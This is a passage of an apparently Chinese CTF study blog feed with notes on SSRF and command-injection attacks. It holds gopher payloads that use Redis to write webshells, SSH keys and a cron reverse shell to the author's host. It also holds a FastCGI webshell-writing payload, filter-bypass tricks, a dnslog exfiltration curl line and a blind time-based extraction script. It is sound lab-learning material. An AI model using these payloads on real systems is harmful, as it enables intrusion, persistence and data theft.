class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">*1</span><br><span class="line">$7</span><br><span class="line">COMMAND</span><br><span class="line">*4</span><br><span class="line">$6</span><br><span class="line">CONFIG</span><br><span class="line">$3</span><br><span class="line">SET</span><br><span class="line">$3</span><br><span class="line">dir</span><br><span class="line">$14</span><br><span class="line">/var/www/html/</span><br><span class="line">*4</span><br><span class="line">$6</span><br><span class="line">config</span><br><span class="line">$3</span><br><span class="line">set</span><br><span class="line">$10</span><br><span class="line">dbfilename</span><br><span class="line">$8</span><br><span class="line">info.php</span><br><span class="line">*3</span><br><span class="line">$3</span><br><span class="line">set</span><br><span class="line">$7</span><br><span class="line">payload</span><br><span class="line">$19</span><br><span class="line">&lt;?php phpinfo(); ?&gt;</span><br><span class="line">*1</span><br><span class="line">$4</span><br><span class="line">save</span><br></pre></td></tr></table></figure><p>每行都是以 <code>\r</code> 结尾的，但是 Redis 的协议是以 CRLF (<code>\r\n</code>) 结尾，所以转换的时候需要把 <code>\r</code> 转换为 <code>\r\n</code>，然后其他全部进行 两次 URL 编码</p><h3 id="redis未授权ssh公钥写入"><a href="#redis未授权ssh公钥写入" class="headerlink" title="redis未授权ssh公钥写入"></a>redis未授权ssh公钥写入</h3><p>1.生成公钥</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa</span><br></pre></td></tr></table></figure><p><img src="/images/ssrf/pasted-image-20260316191329.png" alt="pasted image 20260316191329"><br>2.构造，将密钥写入payload（记得前后各加两行换行以排除其他因素的干扰，同时长度记得加4）同时修改文件名和路径（要拥有root权限，不然写入不了）<br>最后记得修改长度<br><img src="/images/ssrf/pasted-image-20260316190803.png" alt="pasted image 20260316190803"><br>3.通过ssrf提交后重新登陆靶机发现不在需要密码了<br><img src="/images/ssrf/pasted-image-20260316191858.png" alt="pasted image 20260316191858"></p><h3 id="定时任务反弹shell"><a href="#定时任务反弹shell" class="headerlink" title="定时任务反弹shell"></a>定时任务反弹shell</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip add #查看kali ip地址，我的是172.28.121.48</span><br></pre></td></tr></table></figure><p><img src="/images/ssrf/pasted-image-20260316193056.png" alt="pasted image 20260316193056"><br>1.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python2 gopherus.py --exploit redis</span><br></pre></td></tr></table></figure><p>启动攻击<br>2.选择Reverseshell<br><img src="/images/ssrf/pasted-image-20260316193427.png" alt="pasted image 20260316193427"><br>3.填写ip<br><img src="/images/ssrf/pasted-image-20260316194412.png" alt="pasted image 20260316194412"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.28.121.48/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A</span><br></pre></td></tr></table></figure><p>接着监听端口</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nc -lvp 1234</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在靶场修改主机名发送即可<br><img src="/images/ssrf/pasted-image-20260316194940.png" alt="pasted image 20260316194940"></p><h2 id="FastCGL协议"><a href="#FastCGL协议" class="headerlink" title="FastCGL协议"></a>FastCGL协议</h2><p>1.在虚拟机kali中打开终端</p><ul><li>命令行下载：git clone <a href="https://github.com/tarunkant/Gopherus.git">https://github.com/tarunkant/Gopherus.git</a></li><li>cd ~&#x2F;桌面&#x2F;Gopherus</li><li>启动攻击模块：python2 gopherus.py –exploit fastcgi </li><li>第一行输入路径：启动 Gopherus 的 FastCGI 攻击模块后，工具会提示输入目标服务器上存在的 PHP 文件路径，输入之前获取的 PHP 文件路径，我们这里选中网站根目录下的index.php文件，路径如下为&#x2F;var&#x2F;www&#x2F;html&#x2F;index.php，这里通常选择网址中存在的文件</li><li>第二行输入要执行的命令：接下来工具提示输入要执行的命令，这是可以选择ls &#x2F;或cat &#x2F;flag等，工具会根据输入生成相应的 Gopher 协议有效载荷。我们这里选择使用在根目录上传木马文件ljn.php，如下 echo PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8+ | base64 -d &gt;&#x2F;var&#x2F;www&#x2F;html&#x2F;ljn.php ————把编码后的一句话木马写到名为ljn.php的文件中</li><li>得到gopher:%2F%2F127.0.0.1:9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH137%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2589%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fljn.php%2527%2529%253Bdie%2528%2527—–Made-by-SpyD3r—–%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500<br>2.在浏览器中将其附加在url后面<br>3.列出目录<br><img src="/images/ssrf/pasted-image-20251212093511.png" alt="pasted image 20251212093511"><br>4.获取flag<br><img src="/images/ssrf/pasted-image-20251212093613.png" alt="pasted image 20251212093613"></li></ul>]]>
    </content>
    <id>https://worny666.github.io/2026/07/02/SSRF/</id>
    <link href="https://worny666.github.io/2026/07/02/SSRF/"/>
    <published>2026-07-02T14:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进]]>
    </summary>
    <title>SSRF</title>
    <updated>2026-07-02T15:24:31.029Z</updated>
  </entry>
  <entry>
    <author>
      <name>worny</name>
    </author>
    <category term="CTF" scheme="https://worny666.github.io/categories/CTF/"/>
    <category term="Web安全" scheme="https://worny666.github.io/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="RCE" scheme="https://worny666.github.io/tags/RCE/"/>
    <content>
      <![CDATA[<blockquote><p>安全声明：本文仅用于 CTF 学习与授权环境复现。</p></blockquote><h1 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h1><h2 id="命令执行（执行系统命令）"><a href="#命令执行（执行系统命令）" class="headerlink" title="命令执行（执行系统命令）"></a>命令执行（执行系统命令）</h2><table><thead><tr><th>函数</th><th>作用</th><th>是否直接把命令输出打印到页面？</th><th>返回值是什么？</th></tr></thead><tbody><tr><td><code>system()</code></td><td>执行系统命令</td><td>✅ 会把命令执行过程的输出打印出来</td><td>返回命令输出的<strong>最后一行</strong>（字符串）</td></tr><tr><td><code>passthru()</code></td><td>执行命令并“原样”输出（适合二进制流）</td><td>✅ 直接输出所有原始内容</td><td>一般返回 <code>null</code></td></tr><tr><td><code>exec()</code></td><td>执行命令</td><td>❌ 默认不输出</td><td>返回最后一行文本，可选把每一行放到数组</td></tr><tr><td><code>shell_exec()</code></td><td>通过 shell 执行命令</td><td>❌ 不直接输出</td><td>返回<strong>完整输出字符串</strong></td></tr><tr><td>反引号 <code>...</code></td><td>和 <code>shell_exec()</code> 类似</td><td>❌ 不直接输出</td><td>返回命令输出（字符串）</td></tr><tr><td><code>popen()</code></td><td>打开一个进程的管道（读 &#x2F; 写）</td><td>❌ 本身不输出</td><td>返回资源句柄，自己读写</td></tr><tr><td><code>proc_open()</code></td><td>更高级的进程控制，多路管道</td><td>❌ 本身不输出</td><td>返回进程资源，还可拿到各个管道句柄</td></tr></tbody></table><blockquote><p>总结：<strong>直接把结果“打印出来”的</strong>主要是 <code>system()</code> 和 <code>passthru()</code>，其它大部分都是“<strong>返回字符串&#x2F;资源</strong>”，需要自己 <code>echo</code> &#x2F; <code>var_dump</code> 才看得到。</p></blockquote><ul><li><p><strong>直接回显的（命令执行时就打印到页面）</strong>：</p><ul><li><code>system()</code>、<code>passthru()</code></li></ul></li><li><p><strong>只返回结果，不主动回显的</strong>：</p></li></ul><p><code>exec()</code>、<code>shell_exec()</code>、反引号、<code>popen()</code>、<code>proc_open()</code>（这些要你自己把结果 echo 出来）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">string exec(string $command, array &amp;$output = null, int &amp;$return_var = null)</span><br><span class="line">$command string 要执行的系统命令</span><br><span class="line">&amp;$output array（引用） 接收命令标准输出的每一行不含换行符，每次调用会追加内容；使用前需 `unset($output)` 或 `$output = []`</span><br><span class="line">&amp;$return_var int（引用） 接收命令退出状态码（0=成功）</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">popen(string $command, string $mode)</span><br><span class="line">command 参数: 要执行的命令。</span><br><span class="line">mode 参数: 模式。&#x27;r&#x27; 表示阅读，&#x27;w&#x27; 表示写入 fgets 获取内容，再 print_r 输出内容</span><br></pre></td></tr></table></figure><h2 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h2><h3 id="过滤字符"><a href="#过滤字符" class="headerlink" title="过滤字符"></a>过滤字符</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">（1）使用通配符绕过</span><br><span class="line"></span><br><span class="line">形如：f???​或者f*​匹配flag文件</span><br><span class="line"></span><br><span class="line">（2）使用单引号绕过fla&#x27;&#x27;g​</span><br><span class="line"></span><br><span class="line">（3）使用\​绕过fla\g​</span><br><span class="line"></span><br><span class="line">（4）使用&#123;&#125;​绕过，如fl&#123;a&#125;g​</span><br><span class="line"></span><br><span class="line">（5）使用正则匹配绕过，如fl[a-a]g​</span><br></pre></td></tr></table></figure><h3 id="过滤函数"><a href="#过滤函数" class="headerlink" title="过滤函数"></a>过滤函数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">cat</span><br><span class="line">tac</span><br><span class="line">more</span><br><span class="line">head</span><br><span class="line">tail</span><br><span class="line">nl</span><br><span class="line">strings</span><br><span class="line">sort</span><br><span class="line">less</span><br><span class="line">awk</span><br><span class="line">sed</span><br><span class="line">grep</span><br><span class="line">base64</span><br><span class="line">rev</span><br><span class="line">od</span><br><span class="line">vi</span><br><span class="line">vim</span><br><span class="line">pr</span><br><span class="line">uniq</span><br></pre></td></tr></table></figure><h3 id="过滤了-​"><a href="#过滤了-​" class="headerlink" title="过滤了&#x2F;​"></a>过滤了&#x2F;​</h3><p>绕过方法：<br>1.利用cd指令切目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload：cd ..&amp;&amp;ls​，cd ..&amp;&amp;cd ..&amp;&amp;cd ..&amp;&amp;ls​</span><br></pre></td></tr></table></figure><p>2.通过dirname在当前目录一个个消除路径，直到最终到达根目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload=ls$&#123;IFS&#125;-a$&#123;IFS&#125;$(dirname$&#123;IFS&#125;$(dirname$&#123;IFS&#125;$(dirname$&#123;IFS&#125;$PWD)))</span><br></pre></td></tr></table></figure><h3 id="过滤空格"><a href="#过滤空格" class="headerlink" title="过滤空格"></a>过滤空格</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">使用&lt;​ 、&lt;&gt;​、%20​(space)、%09​(tab)、$IFS$9​、 $&#123;IFS&#125;​、$IFS​等代替空格</span><br></pre></td></tr></table></figure><h3 id="变量拼接绕过正则"><a href="#变量拼接绕过正则" class="headerlink" title="变量拼接绕过正则"></a>变量拼接绕过正则</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">以flag为例:</span><br><span class="line"> </span><br><span class="line">x=ag;cat fl$x</span><br><span class="line"> </span><br><span class="line">相当于:</span><br><span class="line"> </span><br><span class="line">cat flag</span><br></pre></td></tr></table></figure><h3 id="Linux-变量操作符"><a href="#Linux-变量操作符" class="headerlink" title="Linux 变量操作符${}"></a>Linux 变量操作符${}</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$&#123;PATH:start:length&#125;  </span><br><span class="line">start：起始位置</span><br><span class="line">length：截取长度，可为负数</span><br></pre></td></tr></table></figure><p> <strong>替换字符</strong><br> 单替换<br> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> $&#123;file/a/b&#125;</span><br><span class="line">将字符串中第一个a替换为b</span><br></pre></td></tr></table></figure><br><strong>全替换</strong><br> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> $&#123;file//a/b&#125;</span><br><span class="line">将字符串所有的a替换为b</span><br></pre></td></tr></table></figure><br> 执行命令<br> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> $&#123;PATH:14:1&#125;$&#123;PATH:5:1&#125; flag.txt</span><br><span class="line"> </span><br><span class="line">在此环境中相当于 nl flag.txt</span><br></pre></td></tr></table></figure></p><h3 id="Ascll拼接变形"><a href="#Ascll拼接变形" class="headerlink" title="Ascll拼接变形"></a>Ascll拼接变形</h3> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"> &lt;?php</span><br><span class="line"></span><br><span class="line">$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);</span><br><span class="line"></span><br><span class="line">$cmd = &#x27;&#x27;;</span><br><span class="line"></span><br><span class="line">$cmd_chars = [108,115];</span><br><span class="line"></span><br><span class="line">foreach($cmd_chars as $ascii) &#123;</span><br><span class="line"></span><br><span class="line">    $cmd .= chr($ascii);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">@$func($cmd);</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>转ascll脚本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$filename = &quot;cat 6a2139364f96787c8ce1bbb0070b898c.php&quot;;</span><br><span class="line"></span><br><span class="line">$ascii_array = [];</span><br><span class="line"></span><br><span class="line">for ($i = 0; $i &lt; strlen($filename); $i++) &#123;</span><br><span class="line"></span><br><span class="line">    $ascii_array[] = ord($filename[$i]);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">echo implode(&quot;,&quot;, $ascii_array);</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><h3 id="按位取反（-）-十六进制转义（-x）试一下"><a href="#按位取反（-）-十六进制转义（-x）试一下" class="headerlink" title="按位取反（~） + 十六进制转义（\x）试一下"></a>按位取反（~） + 十六进制转义（\x）试一下</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$func = create_function(&#x27;&#x27;, ~&quot;\x8f\x97\x8f\x96\x91\x99\x93&quot;[&#x27;cmd&#x27;]);</span><br><span class="line"></span><br><span class="line">$func();</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><h2 id="无回显"><a href="#无回显" class="headerlink" title="无回显"></a>无回显</h2><h3 id="if"><a href="#if" class="headerlink" title="if"></a>if</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import time</span><br><span class="line">url = &quot;http://192.168.1.6:19080/class08/1.php&quot;</span><br><span class="line">result = &quot;&quot;</span><br><span class="line">for i in range(1,5):</span><br><span class="line">    for j in range(1,55):</span><br><span class="line">    #ascii镶嵌</span><br><span class="line">    for k in range(32,128):</span><br><span class="line">    k=chr(k)</span><br><span class="line">    #time.sleep(0.1)</span><br><span class="line">    payload = &quot;?cmd=&quot; + f&quot;if [ `cat flag.php | awk NR==&#123;i&#125; | cut -c &#123;j&#125; == &#123;k&#125; ] ;then sleep 2;fi&quot; </span><br><span class="line">    try:</span><br><span class="line">    requests.get(url=url+payload, timeout=(1.5,1.5))</span><br><span class="line">    except:</span><br><span class="line">    result = result + k</span><br><span class="line">    print(result)</span><br><span class="line">    break</span><br><span class="line">result += &quot;&quot;</span><br></pre></td></tr></table></figure><h3 id="tee"><a href="#tee" class="headerlink" title="tee"></a>tee</h3><h3 id="SWPUCTF-2021-新生赛-finalrce-NSSCTF"><a href="#SWPUCTF-2021-新生赛-finalrce-NSSCTF" class="headerlink" title="[SWPUCTF 2021 新生赛]finalrce (NSSCTF)"></a>[SWPUCTF 2021 新生赛]finalrce (NSSCTF)</h3><p><img src="/images/rce/pasted-image-20251130141151.png"></p><p> 因为没有回显，所以需要把查看出来的内容读取并且写入一个地方来查看，tee命令就是从标准输入读取，再写入标准输出和文件。简单说就是把查看的内容读取然后写入到后面的txt文件<br> &gt;”\“-转义符我理解的作用就是在一些控制字符被过滤的时候，可以用转义符，让控制符失去原本的含义，变为字面量，但是作用不变。<br> <br>&#x2F;?url&#x3D;l\s &#x2F; |tee 1.txt,然后访问1.txt看到flag文件<br>&#x2F;?url&#x3D;tac &#x2F;flllll\aaaaaaggggggg |tee 2.txt，访问2.txt就看到flag了</p><h3 id="dnslog外带数据法"><a href="#dnslog外带数据法" class="headerlink" title="dnslog外带数据法"></a>dnslog外带数据法</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl dnslog平台url/`cat flag.php|base64`</span><br></pre></td></tr></table></figure><h2 id="无字母数字RCE"><a href="#无字母数字RCE" class="headerlink" title="无字母数字RCE"></a>无字母数字RCE</h2><h3 id="取反"><a href="#取反" class="headerlink" title="取反"></a>取反</h3><p> [SWPUCTF 2021 新生赛]hardrce (NSSCTF)<br><img src="/images/rce/pasted-image-20251130134820.png"><br>不能使用字母和黑名单的特殊字符，但是有eval，满足条件即可执行<br>绕过方法：对需要使用的函数进行取反，然后再进行URL 编码</p><ul><li>注意：在使用取反编码再取反进行绕过时，想要执行我们指定的代码，传入的payload必须要满足 <strong>(函数名)()</strong> 这样的形式，否则在取反之前PHP解释器并不知道是要执行一个函数，取反之后就算是一个函数也不会被当作代码执行<br>执行system(‘ls &#x2F;‘)，取反?wllm&#x3D;(<del>%8C%86%8C%8B%9A%92)(</del>%93%8C%DF%D0);找到flllllaaaaaaggggggg的文件<br>执行system(“cat &#x2F;flllllaaaaaaggggggg”);取反后?wllm&#x3D;(<del>%8C%86%8C%8B%9A%92)(</del>%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);即可得到flag<br>脚本</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$a=&quot;system&quot;;</span><br><span class="line"></span><br><span class="line">$b = &quot;tac /f*&quot;;</span><br><span class="line"></span><br><span class="line">echo urlencode(~$a);</span><br><span class="line"></span><br><span class="line">print(&quot;\n&quot;);</span><br><span class="line"></span><br><span class="line">echo urlencode(~$b);</span><br><span class="line"></span><br><span class="line">print(&quot;\n&quot;);</span><br><span class="line"></span><br><span class="line">print(&quot;(~&quot;.urlencode(~$a).&quot;)(~&quot;.urlencode(~$b).&quot;);&quot;);</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/rce/pasted-image-20260215191010.png"></p><h3 id="异或"><a href="#异或" class="headerlink" title="异或"></a>异或</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">echo &#x27;A&#x27;^&#x27;?&#x27;;</span><br></pre></td></tr></table></figure><p>首先将 <code>A</code> 和 <code>?</code> 分别转换为对应的ASCII码，A变为65，?变为63 然后将其转换为对应的二进制数，A变为<code>1000001</code>，?变为<code>111111</code> 接下来就进行运算，异或的运算规则是相同为0，不同为1</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A:1000001</span><br><span class="line">1:0111111(少一位，前面补0即可) </span><br><span class="line">结果：1111110</span><br></pre></td></tr></table></figure><p>接下来将其二进制转换为对应十进制数，<code>1111110</code>对应的十进制数为<code>126</code>，根据ASCII码表可知126对应的是<code>~</code><br>payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$__=(&quot;#&quot;^&quot;|&quot;); // _</span><br><span class="line">$__.=(&quot;.&quot;^&quot;~&quot;); // _P</span><br><span class="line">$__.=(&quot;/&quot;^&quot;`&quot;); // _PO</span><br><span class="line">$__.=(&quot;|&quot;^&quot;/&quot;); // _POS</span><br><span class="line">$__.=(&quot;&#123;&quot;^&quot;/&quot;); // _POST </span><br><span class="line">$$__[_]($$__[__]); // $_POST[_]($_POST[__]);</span><br></pre></td></tr></table></figure><p>然后进行一次URL编码，因为中间件会解码一次</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">然后让&amp;_=system和&amp;__=ls即可</span><br></pre></td></tr></table></figure><p>或者脚本直接出</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line">import re</span><br><span class="line"></span><br><span class="line">import requests</span><br><span class="line"></span><br><span class="line">import urllib</span><br><span class="line"></span><br><span class="line">from sys import *</span><br><span class="line"></span><br><span class="line">import os</span><br><span class="line"></span><br><span class="line">a=[]</span><br><span class="line"></span><br><span class="line">ans1=&quot;&quot;</span><br><span class="line"></span><br><span class="line">ans2=&quot;&quot;</span><br><span class="line"></span><br><span class="line">for i in range(0,256): #设置i的范围</span><br><span class="line"></span><br><span class="line">    c=chr(i)</span><br><span class="line"></span><br><span class="line">    #将i转换成ascii对应的字符，并赋值给c</span><br><span class="line"></span><br><span class="line">    tmp = re.match(r&#x27;[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\&#123;|\&#125;|\&amp;|\-&#x27;,c,re.I)</span><br><span class="line"></span><br><span class="line">    #设置过滤条件，让变量c在其中找对应，并利用修饰符过滤大小写，这样可以得到未被过滤的字符</span><br><span class="line"></span><br><span class="line">    if(tmp):</span><br><span class="line"></span><br><span class="line">        continue</span><br><span class="line"></span><br><span class="line">        #当执行正确时，那说明这些是被过滤掉的，所以才会被匹配到，此时我们让他继续执行即可</span><br><span class="line"></span><br><span class="line">    else:</span><br><span class="line"></span><br><span class="line">        a.append(i)</span><br><span class="line"></span><br><span class="line">        #在数组中增加i，这些就是未被系统过滤掉的字符</span><br><span class="line"></span><br><span class="line"># eval(&quot;echo($c);&quot;);</span><br><span class="line"></span><br><span class="line">mya=&quot;system&quot;  #函数名 这里修改！</span><br><span class="line"></span><br><span class="line">myb=&quot;dir&quot;      #参数</span><br><span class="line"></span><br><span class="line">def myfun(k,my): #自定义函数</span><br><span class="line"></span><br><span class="line">    global ans1 #引用全局变量ans1，使得在局部对其进行更改时不会报错</span><br><span class="line"></span><br><span class="line">    global ans2 #引用全局变量ans2，使得在局部对其进行更改时不会报错</span><br><span 